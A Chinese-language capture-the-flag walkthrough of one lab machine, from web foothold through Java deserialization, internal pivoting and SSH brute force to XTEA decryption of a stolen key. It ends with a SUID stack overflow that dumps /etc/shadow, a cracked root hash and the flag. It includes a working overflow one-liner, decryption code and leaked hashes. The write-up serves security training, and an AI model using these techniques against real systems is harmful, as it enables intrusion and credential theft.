web打点

image-20250625125350343.png
image-20250625125350343.png

模拟终端执行

image-20250625125435114.png
image-20250625125435114.png

查看/opt/code/test.c 文件

伪随机,跑代码得到三个数

image-20250625125627753.png
image-20250625125627753.png

用这三个数进行端口敲门,就会开放8080端口

image-20250630003121432.png
image-20250630003121432.png

访问8080, 密码爆破 admin/123457

目录扫描,发现接口/download

对参数进行爆破,爆破出参数为file,可以任意文件读取

读取/proc/self/maps 查看内存

image-20250625130035544.png
image-20250625130035544.png

找到/app/javaserver-0.0.1-SNAPSHOT.jar

使用这个接口读取jar

反编译发现反序列化接口

image-20250625130317874.png
image-20250625130317874.png

直接打CommonsCollections链子

使用ysoserial生成反弹shell payload

image-20250625130758468.png
image-20250625130758468.png

image-20250625130932791.png
image-20250625130932791.png

带上cookie发送payload getshell

内网横向

上传frp 搭建socks代理

使用fscan 等工具扫描内网主机

扫描到内网主机172.17.0.2,开起来80和22

image-20250630003224744.png
image-20250630003224744.png

查看80端口,是一个关于暴力破解的讲解,在最底下有一个注释内容500-worst-passwords

这是seclists中的一个字典,使用这个字典去爆破root@172.17.0.2 root/mountain

ssh连上去 在/usr/bin中发现可疑文件 userLogin

image-20250625131839654.png
image-20250625131839654.png

ida分析

image-20250625132049440.png
image-20250625132049440.png

文件加密函数 跟进去

image-20250625132126112.png
image-20250625132126112.png

image-20250625132132053.png
image-20250625132132053.png

标准的xtea加密

image-20250625132213818.png
image-20250625132213818.png

找到key和输出的文件

因为是常量定义的key 和 读取的文件的文件名,这里ida分析将这两值合在了一起

xtea的key为16位,分成4组进行加密

key-for-user-ldz是key , id_ed25519是读取的文件名

很明显是一个私钥,写脚本解密output.enc

image-20250625132545311.png
image-20250625132545311.png

找到这个文件在/etc/下

提取出来解密

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define BLOCK_SIZE 8
#define ROUNDS 64

const char FIXED_KEY_STR[16] = "key-for-user-ldz"; 
const char *INPUT_FILE = "output.enc";          
const char *OUTPUT_FILE = "decrypted.txt";     

void xtea_decrypt(uint32_t v[2], const uint32_t key[4]) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9E3779B9, sum = delta * ROUNDS;
    for (int i = 0; i < ROUNDS; ++i) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0; v[1] = v1;
}

void key_from_fixed_string(uint32_t key[4]) {
    for (int i = 0; i < 4; ++i) {
        key[i] = ((uint32_t)FIXED_KEY_STR[i*4]) |
                 ((uint32_t)FIXED_KEY_STR[i*4 + 1] << 8) |
                 ((uint32_t)FIXED_KEY_STR[i*4 + 2] << 16) |
                 ((uint32_t)FIXED_KEY_STR[i*4 + 3] << 24);
    }
}

void decrypt_file() {
    FILE *fin = fopen(INPUT_FILE, "rb");
    FILE *fout = fopen(OUTPUT_FILE, "wb");
    if (!fin || !fout) {
        perror("文件打开失败");
        exit(1);
    }

    uint32_t key[4];
    key_from_fixed_string(key);

    uint8_t buffer[BLOCK_SIZE];
    size_t read_size;
    while ((read_size = fread(buffer, 1, BLOCK_SIZE, fin)) == BLOCK_SIZE) {
        uint32_t block[2];
        memcpy(block, buffer, BLOCK_SIZE);
        xtea_decrypt(block, key);
        fwrite(block, 1, BLOCK_SIZE, fout);
    }

    fclose(fin);
    fclose(fout);
    printf("解密完成:%s → %s\n", INPUT_FILE, OUTPUT_FILE);
}

int main() {
    decrypt_file();
    return 0;
}

查看解密完的文件

image-20250625132820366.png
image-20250625132820366.png

是个私钥,设置权限600 ,根据解密的key,可以得知是用户ldz的私钥

登录这个用户

image-20250625133012806.png
image-20250625133012806.png

提权

localhost:~$ find / -perm -4000 2>/dev/null
/opt/vuln
/bin/bbsuid

查看suid

有个vuln,ida分析一下

image-20250625133214597.png
image-20250625133214597.png

让flag=1就能执行secret()函数

image-20250625133252635.png
image-20250625133252635.png

这个函数读取/etc/shadow

这里很明显是一个栈溢出覆盖flag的值,进行判断绕过

payload:

localhost:~$ python -c "print('A'*44 + '\x01\x00\x00\x00')" | /opt/vuln
root:$6$W5FUwrTeo8vXfNot$qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20205:0:99999:7:::
chrony:!:20205:0:99999:7:::
ldz:$6$qCU7eP8wj/Pvo1FB$Ooou6p.TF3M/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l/rmUYgDqpo8Y0:20263:0:99999:7:::
nginx:!:20263:0:99999:7:::

成功读取shadow

爆破得到root密码

┌──(root㉿kali)-[~]
└─# john --format=sha512crypt --wordlist=rockyou.txt hash       
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
                                                                                                                                               
┌──(root㉿kali)-[~]
└─# john hash --show                                     
root:yulianateamo:20263:0:::::

1 password hash cracked, 0 left


┌──(root㉿kali)-[~]
└─# ssh root@10.20.73.10                
root@10.20.73.10's password: 

localhost:~# 
localhost:~# 
localhost:~# ls
root.txt
localhost:~# cat root.txt 
flag{98ecb90d5dcef41e1bd18f47697f287a}
localhost:~#